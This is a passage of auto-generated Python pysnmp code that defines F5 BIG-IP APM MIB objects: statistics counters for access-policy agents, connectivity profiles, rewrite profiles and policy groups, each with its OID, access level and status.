141), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalInstances.setStatus('deprecated') apmPaStatEpsWinPwTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 142), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalUsages.setStatus('deprecated') apmPaStatEpsWinPwTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 143), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinPwTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 144), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalFailures.setStatus('deprecated') apmPaStatEpsWinPwTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 145), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalErrors.setStatus('deprecated') apmPaStatEpsWinPwTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 146), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinPwTotalSessVars.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 147), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 148), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 149), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 150), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 151), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinRcAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 152), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinRcAgentTotalSessVars.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 153), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalInstances.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 154), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalUsages.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 155), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalSuccesses.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 156), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalFailures.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 157), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalErrors.setStatus('deprecated') apmPaStatEpsWinGpAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 158), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatEpsWinGpAgentTotalSessVars.setStatus('deprecated') apmPaStatExternalLogonAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 159), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalInstances.setStatus('deprecated') apmPaStatExternalLogonAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 160), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalUsages.setStatus('deprecated') apmPaStatExternalLogonAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 161), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalSuccesses.setStatus('deprecated') apmPaStatExternalLogonAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 162), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalFailures.setStatus('deprecated') apmPaStatExternalLogonAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 163), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalErrors.setStatus('deprecated') apmPaStatExternalLogonAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 164), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatExternalLogonAgentTotalSessVars.setStatus('deprecated') apmPaStatLogonAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 165), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalInstances.setStatus('deprecated') apmPaStatLogonAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 166), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalUsages.setStatus('deprecated') apmPaStatLogonAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 167), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalSuccesses.setStatus('deprecated') apmPaStatLogonAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 168), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalFailures.setStatus('deprecated') apmPaStatLogonAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 169), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalErrors.setStatus('deprecated') apmPaStatLogonAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 170), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLogonAgentTotalSessVars.setStatus('deprecated') apmPaStatRaAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 171), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalInstances.setStatus('deprecated') apmPaStatRaAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 172), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalUsages.setStatus('deprecated') apmPaStatRaAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 173), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalSuccesses.setStatus('deprecated') apmPaStatRaAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 174), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalFailures.setStatus('deprecated') apmPaStatRaAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 175), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalErrors.setStatus('deprecated') apmPaStatRaAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 176), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRaAgentTotalSessVars.setStatus('deprecated') apmPaStatRdsAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 177), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalInstances.setStatus('deprecated') apmPaStatRdsAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 178), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalUsages.setStatus('deprecated') apmPaStatRdsAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 179), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalSuccesses.setStatus('deprecated') apmPaStatRdsAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 180), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalFailures.setStatus('deprecated') apmPaStatRdsAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 181), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalErrors.setStatus('deprecated') apmPaStatRdsAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 182), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatRdsAgentTotalSessVars.setStatus('deprecated') apmPaStatVaAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 183), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalInstances.setStatus('deprecated') apmPaStatVaAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 184), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalUsages.setStatus('deprecated') apmPaStatVaAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 185), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalSuccesses.setStatus('deprecated') apmPaStatVaAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 186), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalFailures.setStatus('deprecated') apmPaStatVaAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 187), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalErrors.setStatus('deprecated') apmPaStatVaAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 188), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVaAgentTotalSessVars.setStatus('deprecated') apmPaStatIeAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 189), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalInstances.setStatus('deprecated') apmPaStatIeAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 190), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalUsages.setStatus('deprecated') apmPaStatIeAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 191), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalSuccesses.setStatus('deprecated') apmPaStatIeAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 192), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalFailures.setStatus('deprecated') apmPaStatIeAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 193), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalErrors.setStatus('deprecated') apmPaStatIeAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 194), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatIeAgentTotalSessVars.setStatus('deprecated') apmPaStatLoggingAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 195), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalInstances.setStatus('deprecated') apmPaStatLoggingAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 196), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalUsages.setStatus('deprecated') apmPaStatLoggingAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 197), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalSuccesses.setStatus('deprecated') apmPaStatLoggingAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 198), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalFailures.setStatus('deprecated') apmPaStatLoggingAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 199), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalErrors.setStatus('deprecated') apmPaStatLoggingAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 200), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatLoggingAgentTotalSessVars.setStatus('deprecated') apmPaStatDecnBoxAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 201), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalInstances.setStatus('deprecated') apmPaStatDecnBoxAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 202), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalUsages.setStatus('deprecated') apmPaStatDecnBoxAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 203), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalSuccesses.setStatus('deprecated') apmPaStatDecnBoxAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 204), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalFailures.setStatus('deprecated') apmPaStatDecnBoxAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 205), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalErrors.setStatus('deprecated') apmPaStatDecnBoxAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 206), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDecnBoxAgentTotalSessVars.setStatus('deprecated') apmPaStatMesgBoxAgentTotalInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 207), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalInstances.setStatus('deprecated') apmPaStatMesgBoxAgentTotalUsages = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 208), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalUsages.setStatus('deprecated') apmPaStatMesgBoxAgentTotalSuccesses = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 209), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalSuccesses.setStatus('deprecated') apmPaStatMesgBoxAgentTotalFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 210), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalFailures.setStatus('deprecated') apmPaStatMesgBoxAgentTotalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 211), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalErrors.setStatus('deprecated') apmPaStatMesgBoxAgentTotalSessVars = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 212), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatMesgBoxAgentTotalSessVars.setStatus('deprecated') apmPaStatApdNoResultErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 213), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdNoResultErrors.setStatus('deprecated') apmPaStatApdNoSessionErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 214), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdNoSessionErrors.setStatus('deprecated') apmPaStatApdNoDeviceInfoErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 215), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdNoDeviceInfoErrors.setStatus('deprecated') apmPaStatApdNoTokenErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 216), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdNoTokenErrors.setStatus('deprecated') apmPaStatApdNoSigErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 217), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdNoSigErrors.setStatus('deprecated') apmPaStatApdTotalMismatchErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 218), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdTotalMismatchErrors.setStatus('deprecated') apmPaStatApdInvalidSigErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 219), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdInvalidSigErrors.setStatus('deprecated') apmPaStatApdMcPipelineInitErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 220), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdMcPipelineInitErrors.setStatus('deprecated') apmPaStatApdMcSetSessVarErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 221), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdMcSetSessVarErrors.setStatus('deprecated') apmPaStatApdMcPipelineCloseErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 222), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdMcPipelineCloseErrors.setStatus('deprecated') apmPaStatApdApResultErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 223), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdApResultErrors.setStatus('deprecated') apmPaStatApdApInternalErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 224), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatApdApInternalErrors.setStatus('deprecated') apmPaStatAllowedRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 225), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatAllowedRequests.setStatus('current') apmPaStatDeniedRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 226), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatDeniedRequests.setStatus('current') apmPaStatVsName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 1, 3, 1, 227), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPaStatVsName.setStatus('current') apmPcStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmPcStatResetStats.setStatus('current') apmPcStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatNumber.setStatus('current') apmPcStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3), ) if mibBuilder.loadTexts: apmPcStatTable.setStatus('current') apmPcStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmPcStatName")) if mibBuilder.loadTexts: apmPcStatEntry.setStatus('current') apmPcStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatName.setStatus('current') apmPcStatTotConns = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatTotConns.setStatus('current') apmPcStatCurConns = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatCurConns.setStatus('current') apmPcStatMaxConns = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatMaxConns.setStatus('current') apmPcStatIngressRaw = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatIngressRaw.setStatus('current') apmPcStatEgressRaw = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatEgressRaw.setStatus('current') apmPcStatIngressCompressed = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatIngressCompressed.setStatus('current') apmPcStatEgressCompressed = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 2, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPcStatEgressCompressed.setStatus('current') apmPrStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmPrStatResetStats.setStatus('current') apmPrStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatNumber.setStatus('current') apmPrStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3), ) if mibBuilder.loadTexts: apmPrStatTable.setStatus('current') apmPrStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmPrStatName")) if mibBuilder.loadTexts: apmPrStatEntry.setStatus('current') apmPrStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatName.setStatus('current') apmPrStatClientReqBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 2), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatClientReqBytes.setStatus('current') apmPrStatClientRespBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatClientRespBytes.setStatus('current') apmPrStatServerReqBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatServerReqBytes.setStatus('current') apmPrStatServerRespBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatServerRespBytes.setStatus('current') apmPrStatClientReqs = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatClientReqs.setStatus('current') apmPrStatClientResps = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatClientResps.setStatus('current') apmPrStatServerReqs = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatServerReqs.setStatus('current') apmPrStatServerResps = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 3, 3, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPrStatServerResps.setStatus('current') apmPgStatResetStats = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: apmPgStatResetStats.setStatus('current') apmPgStatNumber = MibScalar((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatNumber.setStatus('current') apmPgStatTable = MibTable((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3), ) if mibBuilder.loadTexts: apmPgStatTable.setStatus('current') apmPgStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1), ).setIndexNames((0, "F5-BIGIP-APM-MIB", "apmPgStatName"), (0, "F5-BIGIP-APM-MIB", "apmPgStatAgentName")) if mibBuilder.loadTexts: apmPgStatEntry.setStatus('current') apmPgStatName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 1), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatName.setStatus('current') apmPgStatAgentName = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 2), LongDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatAgentName.setStatus('current') apmPgStatInstances = MibTableColumn((1, 3, 6, 1, 4, 1, 3375, 2, 6, 1, 7, 3, 1, 3), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: apmPgStatInstances.setStatus('current') apmPgStatUsages = MibTableColumn((1, 3, 6, 1, 